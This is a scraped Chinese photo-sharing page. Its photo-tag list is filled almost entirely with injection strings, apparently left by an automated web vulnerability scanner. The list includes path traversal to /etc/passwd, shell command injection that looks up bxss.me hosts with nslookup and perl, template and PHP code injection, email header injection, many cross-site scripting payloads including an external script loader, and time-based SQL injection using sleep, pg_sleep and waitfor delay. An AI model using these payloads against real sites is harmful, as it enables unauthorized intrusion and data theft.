×
照片标签：
- 1
- 1BBBeQbMnAO
- response.write(9957847*9971197)
- '+response.write(9957847*9971197)+'
- "+response.write(9957847*9971197)+"
- e80DMA4v
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../1
- 1%0abcc:074625.3840-579384.3840.1bbff.19119.2@bxss.me
- to@example.com>%0d%0abcc:074625.3840-579385.3840.1bbff.19119.2@bxss.me
- echo smgpdf$()\ mofvgz\nz^xyu||a #' &echo smgpdf$()\ mofvgz\nz^xyu||a #|" &echo smgpdf$()\ mofvgz\nz^xyu||a #
- 1<esi:include src="http://bxss.me/rpb.png"/>
- &echo xbyrkn$()\ wpbptl\nz^xyu||a #' &echo xbyrkn$()\ wpbptl\nz^xyu||a #|" &echo xbyrkn$()\ wpbptl\nz^xyu||a #
- |echo skudrj$()\ fyosqa\nz^xyu||a #' |echo skudrj$()\ fyosqa\nz^xyu||a #|" |echo skudrj$()\ fyosqa\nz^xyu||a #
- ${9999793+10000135}
- (nslookup hitsnuauzzxcec7fa5.bxss.me||perl -e "gethostbyname('hitsnuauzzxcec7fa5.bxss.me')")
- $(nslookup hitormljygdas3f35d.bxss.me||perl -e "gethostbyname('hitormljygdas3f35d.bxss.me')")
- &(nslookup hitpgwtvdibmt48bdf.bxss.me||perl -e "gethostbyname('hitpgwtvdibmt48bdf.bxss.me')")&'\"`0&(nslookup hitpgwtvdibmt48bdf.bxss.me||perl -e "gethostbyname('hitpgwtvdibmt48bdf.bxss.me')")&`'
- |(nslookup hitbedbyruncd374a3.bxss.me||perl -e "gethostbyname('hitbedbyruncd374a3.bxss.me')")
- 1&n986428=v960971
- `(nslookup hittftakfayowba127.bxss.me||perl -e "gethostbyname('hittftakfayowba127.bxss.me')")`
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- 1some_inexistent_file_with_long_name%00.jpg
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt%3F.jpg
- bxss.me
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- '.gethostbyname(lc('hitbr'.'rocwnrymc14bd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(80).chr(119).chr(68).'
- ".gethostbyname(lc("hittk"."dwmwzpkuf2c08.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(66).chr(121).chr(88)."
- HttP://bxss.me/t/xss.html?%00
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- bxss.me/t/xss.html?%00
- /xfs.bxss.me
- '"
- "+"A".concat(70-3).concat(22*4).concat(117).concat(67).concat(103).concat(81)+(require"socket" Socket.gethostbyname("hitxb"+"sbkkhbgedd6ab.bxss.me.")[3].to_s)+"
- <!--
- '+'A'.concat(70-3).concat(22*4).concat(118).concat(83).concat(99).concat(67)+(require'socket' Socket.gethostbyname('hitsa'+'vhsfhofr25bf8.bxss.me.')[3].to_s)+'
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- ${@print(md5(31337))}
- 1DrYPFZeTeO
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- response.write(9717010*9251704)
- 1 bcc:074625.3840-581162.3840.2fca0.19119.2@bxss.me
- '+response.write(9717010*9251704)+'
- to@example.com> bcc:074625.3840-581169.3840.2fca0.19119.2@bxss.me
- "+response.write(9717010*9251704)+"
- echo rjeauf$()\ ufyyap\nz^xyu||a #' &echo rjeauf$()\ ufyyap\nz^xyu||a #|" &echo rjeauf$()\ ufyyap\nz^xyu||a #
- 1'"()&%<acx><ScRiPt >YkFg(9393)</ScRiPt>
- &echo iqimma$()\ tiruhl\nz^xyu||a #' &echo iqimma$()\ tiruhl\nz^xyu||a #|" &echo iqimma$()\ tiruhl\nz^xyu||a #
- |echo cjvgsu$()\ wxbica\nz^xyu||a #' |echo cjvgsu$()\ wxbica\nz^xyu||a #|" |echo cjvgsu$()\ wxbica\nz^xyu||a #
- (nslookup hitgwypqjhzub0a07a.bxss.me||perl -e "gethostbyname('hitgwypqjhzub0a07a.bxss.me')")
- $(nslookup hitfwmbwjtcus6f8bd.bxss.me||perl -e "gethostbyname('hitfwmbwjtcus6f8bd.bxss.me')")
- '"()&%<acx><ScRiPt >YkFg(9350)</ScRiPt>
- 12345'"\'\")
- 19448669
- &(nslookup hityzipauittnb32be.bxss.me||perl -e "gethostbyname('hityzipauittnb32be.bxss.me')")&'\"`0&(nslookup hityzipauittnb32be.bxss.me||perl -e "gethostbyname('hityzipauittnb32be.bxss.me')")&`'
- |(nslookup hitfczrgwogwrc8e07.bxss.me||perl -e "gethostbyname('hitfczrgwogwrc8e07.bxss.me')")
- `(nslookup hitfmxjouymrv86f0f.bxss.me||perl -e "gethostbyname('hitfmxjouymrv86f0f.bxss.me')")`
- acu2998%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2998
- ${10000385+10000240}
- '.gethostbyname(lc('hitiq'.'sijilnnn96a91.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(89).chr(119).chr(87).'
- acx[[${98991*97996}]]xca
- ".gethostbyname(lc("hitdz"."ioergbhme40dc.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(84).chr(103).chr(79)."
- acx__${98991*97996}__::.x
- http://bxss.me/t/fit.txt?.jpg
- '
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- "
- "+"A".concat(70-3).concat(22*4).concat(97).concat(78).concat(105).concat(75)+(require"socket" Socket.gethostbyname("hitof"+"ecjynytkffd13.bxss.me.")[3].to_s)+"
- acu5757%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5757
- '+'A'.concat(70-3).concat(22*4).concat(115).concat(72).concat(113).concat(68)+(require'socket' Socket.gethostbyname('hitik'+'wwjmjupyf301f.bxss.me.')[3].to_s)+'
- acux7071%C0%BEz1%C0%BCz2a%90bcxuca7071
- bibs
- <%={{={@{#{${acx}}%>
- bibs/.
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acu9970%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9970
- acux8574%C0%BEz1%C0%BCz2a%90bcxuca8574
- 1%22onmouseover=YkFg(99962)%22
- 1"onmouseover=YkFg(96512)"
- 1" hsOp=YkFg([!+!]) uZP="
- 1\u0022onmouseover=YkFg(93803)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%59%6B%46%67%28%39%37%30%36%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(YkFg(9000))'bad="
- 1"><script>YkFg(9672)</script>
- 1<ScRiPt >YkFg(9678)</ScRiPt>
- 1<WKTZDK>XR0H5[!+!]</WKTZDK>
- 1<script>YkFg(9352)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%59%6B%46%67%28%39%32%30%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >YkFg(9117)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9962></ScRiPt>
- 1< ScRiPt >YkFg(9091)</ScRiPt>
- 1<isindex type=image src=1 onerror=YkFg(9701)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9113'>
- 1<body onload=YkFg(9036)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=YkFg(9213)>
- 1<img src=xyz OnErRor=YkFg(9764)>
- 1<img/src=">" onerror=alert(9671)>
- %31%3C%53%63%52%69%50%74%20%3E%59%6B%46%67%289323%29%3C%2F%73%43%72%69%70%54%3E
- sfI54Ovm
- -1 OR 2+624-624-1=0+0+0+1 --
- -1 OR 2+792-792-1=0+0+0+1
- -1' OR 2+329-329-1=0+0+0+1 --
- -1' OR 2+610-610-1=0+0+0+1 or 'Hqeoeu7O'='
- -1" OR 2+896-896-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- zjw6Xlnu
- -1 OR 2+847-847-1=0+0+0+1 --
- -1 OR 2+544-544-1=0+0+0+1
- -1' OR 2+336-336-1=0+0+0+1 --
- -1' OR 2+602-602-1=0+0+0+1 or 'eGBWuW7D'='
- -1" OR 2+953-953-1=0+0+0+1 --
- 1 waitfor delay '0:0:15' --
- qIIxCLXE'; waitfor delay '0:0:15' --
- -5 OR 775=(SELECT 775 FROM PG_SLEEP(15))--
- -5) OR 167=(SELECT 167 FROM PG_SLEEP(15))--
- sleep(8)
- -1)) OR 544=(SELECT 544 FROM PG_SLEEP(15))--
- ycyt3GpN' OR 107=(SELECT 107 FROM PG_SLEEP(15))--
- -1
- 6w5paWnW') OR 728=(SELECT 728 FROM PG_SLEEP(15))--
- -1)
- P78abOzL')) OR 14=(SELECT 14 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 6rwfsNrk'
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- -5 OR 625=(SELECT 625 FROM PG_SLEEP(15))--
- '||(select 1 from (select pg_sleep(15))x)||'
- -5) OR 271=(SELECT 271 FROM PG_SLEEP(15))--
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- @@gZ1ez
- -1)) OR 350=(SELECT 350 FROM PG_SLEEP(15))--
- ChdGY3a2' OR 494=(SELECT 494 FROM PG_SLEEP(15))--
- hfs5GAH3') OR 480=(SELECT 480 FROM PG_SLEEP(15))--
- DUM9pjfC')) OR 185=(SELECT 185 FROM PG_SLEEP(15))--
- 1 %2527%2522
- @@TIfzZ
- 1'"()&%<acx><ScRiPt >IhdM(9450)</ScRiPt>
- 1'"()&%<acx><ScRiPt >Wb2f(9101)</ScRiPt>
- '"()&%<acx><ScRiPt >IhdM(9364)</ScRiPt>
- '"()&%<acx><ScRiPt >Wb2f(9101)</ScRiPt>
- 19700260
- 19303967
- acu9415＜s1﹥s2ʺs3ʹuca9415
- acu2687%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2687
- acux10116z1z2abcxuca10116
- acux2415%C0%BEz1%C0%BCz2a%90bcxuca2415
- acu7651＜s1﹥s2ʺs3ʹuca7651
- acux8015z1z2abcxuca8015
- acu6849%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6849
- acux7561%C0%BEz1%C0%BCz2a%90bcxuca7561
- acu1950＜s1﹥s2ʺs3ʹuca1950
- acux5221z1z2abcxuca5221
- acu4053%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4053
- acux6511%C0%BEz1%C0%BCz2a%90bcxuca6511
- 1"onmouseover=IhdM(91432)"
- 1"onmouseover=IhdM(99762)"
- 1" aHsu=IhdM([!+!]) vGI="
- 1\u0022onmouseover=IhdM(90963)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%49%68%64%4D%28%39%31%39%36%34%29%22
- "onmouseover=IhdM(92115)//
- 1"sTYLe='acu:Expre/**/SSion(IhdM(9498))'bad="
- 1"><script>IhdM(9393)</script>
- 1<ScRiPt >IhdM(9208)</ScRiPt>
- 1%22onmouseover=Wb2f(91562)%22
- 1<WASZDZ>WU6LJ[!+!]</WASZDZ>
- 1"onmouseover=Wb2f(96932)"
- 1" X7Cu=Wb2f([!+!]) klQ="
- 1<script>IhdM(9950)</script>
- 1\u0022onmouseover=Wb2f(90133)\u0022
- 1<ScR<ScRiPt>IpT>IhdM(9086)</sCr<ScRiPt>IpT>
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%57%62%32%66%28%39%30%30%36%34%29%22
- 1<ScRiPt >IhdM(9053)</ScRiPt>
- 1"sTYLe='acu:Expre/**/SSion(Wb2f(9868))'bad="
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9438></ScRiPt>
- 1"><script>Wb2f(9744)</script>
- 1< ScRiPt >IhdM(9512)</ScRiPt>
- 1<ScRiPt >Wb2f(9889)</ScRiPt>
- 1<svg onload=IhdM(9018)
- 1<isindex type=image src=1 onerror=IhdM(9660)>
- 1<iframe src='data:text/html
- 1<body onload=IhdM(9396)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=IhdM(9201)>
- 1<img src=xyz OnErRor=IhdM(9330)>
- 1<img/src=">" onerror=alert(9634)>
- %31%3C%53%63%52%69%50%74%20%3E%49%68%64%4D%289384%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\IhdM(9836)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=IhdM(90781) //>
- 1<input autofocus onfocus=IhdM(9709)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
微信扫一扫, 保存到手机
